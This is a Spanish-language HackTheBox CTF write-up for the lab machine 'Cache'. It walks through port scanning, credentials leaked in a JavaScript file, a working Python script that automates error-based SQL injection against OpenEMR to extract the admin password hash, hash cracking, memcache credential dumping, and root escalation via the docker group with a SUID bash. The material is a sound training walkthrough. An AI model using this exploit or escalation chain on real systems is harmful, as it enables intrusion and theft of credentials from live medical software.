Post

Cache | CTF Writeup - HackTheBox

Cache

Iniciamos un escaneo de nuestro target con nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
> nmap -sS -T5 --min-rate 5000 -vvv -Pn -n -p- --open -oN scan.txt 10.10.10.188

Nmap scan report for 10.10.10.188
Host is up, received user-set (0.50s latency).
Scanned at 2024-03-19 23:28:47 -03 for 139s
Not shown: 52549 filtered tcp ports (no-response), 12984 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
# Nmap done at Tue Mar 19 23:31:06 2024 -- 1 IP address (1 host up) scanned in 139.25 seconds

Enumeramos versión de puertos y servicios, en este caso, del puerto 22 y 80.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
> nmap -sCV -Pn -n -p22,80 -oN versions.txt 10.10.10.188

Nmap scan report for 10.10.10.188
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 19 23:33:59 2024 -- 1 IP address (1 host up) scanned in 20.06 seconds

Vamos a inspeccionar la web para ver posibles superficies de ataque.

1.png

Vemos una página de login. Intentemos ver si podemos autenticarnos de alguna manera.

3.png

Si inspeccionamos el código fuente de la página, vemos un archivo sospechoso.

2.png

Veamos qué contiene este archivo functionality.js navegando por la web.

4.png

Curiosamente, tiene unas credenciales. Si intentamos iniciar sesión en el login de hoy con las credenciales ash:H@v3_fun, podremos acceder pero no hay nada interesante. En la página del autor tenemos lo siguiente:

5.png

Esto nos puede llegar a indicar dos dominios que se aplican a través de Virtual Hosting. Añadimos hms.htb y cache.htb a nuestro archivo /etc/hosts para verificarlo, apuntando a la IP de la máquina víctima.

Si ingresamos a hms.htb:

6.png

Interesante. Si buscamos en internet por vulnerabilidades en este software, encontraremos varios reportes. En mi caso, me llamo la atención este reporte. Corresponde a la versión 5.0.1.3 del proyecto.

En teoría, podemos acceder sin autenticarnos a varias de las páginas de esta web, como lo dice la sección 2.0 de la tabla de contenidos del reporte brindado.

Efectivamente, tenemos acceso a una de las páginas sin brindar contraseña.

7.png

En teoría, además tenemos una inyección SQL.

8.png

Esto se da en el campo eid de la URL.

9.png

Si agarramos este POC e intentamos, por ejemplo, enumerar la base de datos modificando la query:

10.png

Para este proceso, me fabriqué un script que enumerará tablas y columnas según lo hardcodeaba. Lo optimicé para que enumere rápidamente la contraseña del usuario openemr_admin.

11.png ^usuarios

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3

import requests, sys, signal
from argparse import ArgumentParser
import re 
from termcolor import colored
from pwn import *

def ctrl_c(sig,frame):
    print(colored("[!] Exiting...", "red"))
    sys.exit(1)

signal.signal(signal.SIGINT,ctrl_c)

def get_args():
    parser = ArgumentParser(prog="OPENEMR SQLI", description="SQL Injection Automation")
    parser.add_argument("-t", "--target", dest="target", required=True)
    args = parser.parse_args()

    return args.target

def start_sqli(target):

    main_url = f"http://{target}/portal/add_edit_event_user.php"

    cookies = {
        "OpenEMR": "rep74vbla2nihs94ab7m7tksqu", # modificar cookies
        "PHPSESSID": "fombcbq581l1anbq9a23j0lq8q"
        }

    get_password(main_url, cookies)
    
   
def get_password(main_url,cookies):
    index = 0
    
    p = log.progress("Retrieving Data")

    password = ""
    
    while True:

        r_data = {
            "eid": f"1 AND EXTRACTVALUE(0,CONCAT(0x5c,(select substring(password,{index},1) from openemr.users_secure limit 0,1)))",
            }

        r = requests.get(main_url, params=r_data, cookies=cookies)
   
        match = re.search(r"XPATH syntax error: '(.+?)'", r.text).group(1)
   
        index+=1
      
        if(match):
            password+=match
            password = re.sub(r'\\', '', password)
            p.status(password)
            continue
        
        else: 
            p.success("Got the password! Pass: " + password)
            break

   
if __name__ == '__main__':
    target = get_args()
    start_sqli(target)

Este script me dumpeó una contraseña hasheada que pude crackearla con john, usando el diccionario rockyou.txt.

12.png

Iniciamos sesión exitosamente en el portal de administrador. Ahora solo nos falta ver una forma de poder ejecutar comandos en la máquina víctima. Por suerte, el reporte también habla de un Remote Code Execution autenticado en la sección 6.0.

Por mi parte, estaré empleando un script sacado de searchsploit filtrando por RCE y openemr. Este es el script.

13.png

Una vez dentro, intentamos migrar al usuario ash con la contraseña filtrada por el archivo functionality.js que habíamos visto previamente.

14.png

Si nos fijamos en las conexiones con el comando netstat -nat, veremos que está corriendo memcache como servicio en el puerto 11211.

15.png

Para guiarme en la explotación de este servicio, estaré ayudandome con el artículo de HackTricks. Nos conectamos con nc y enumeramos items.

16.png

Listo! Tenemos las credenciales del usuario luffy. Migramos correctamente y vemos que estamos en el grupo docker.

17.png

Esto significa que tenemos una vía potencial de escalar privilegios. Utilizando una imagen podemos montar la raíz del sistema host en un contenedor, y si un archivo se ve afectado en el contenedor, también se ve reflejado en el sistema host por el archivo docker.sock.

Listamos las imágenes.

18.png

Hacemos el siguiente procedimiento:

19.png

  • Erratas: chmod u+s /mnt/root/bin/bash

Explicación:

  • docker run -dit v /:/mnt/root 2ca708c1c9cc: Montamos la raíz del sistema en el contenedor, más específicamente en /mnt/root, usando la imagen previamente creada, y corremos el contenedor en segundo plano.
  • docker exec -it 7e66300b7e8eee888e7d1d7e7d5562f889dfa5042e026e57163b50aaa1643c7 bash: Ejecutamos bash en el contenedor creado.
  • chmod u+s /mnt/root/bin/bash: Cambiamos el binario /bin/bash a SUID. Esto no solo cambia el binario en el contenedor, sino que también lo cambia en la máquina host por la montura que habiamos hecho previamente.

Salimos del contenedor con exit y hacemos un bash -p. Tendremos una consola como root en la máquina Host! Listo, hemos vulnerado la máquina y escalado privilegios.

This post is licensed under CC BY 4.0 by the author.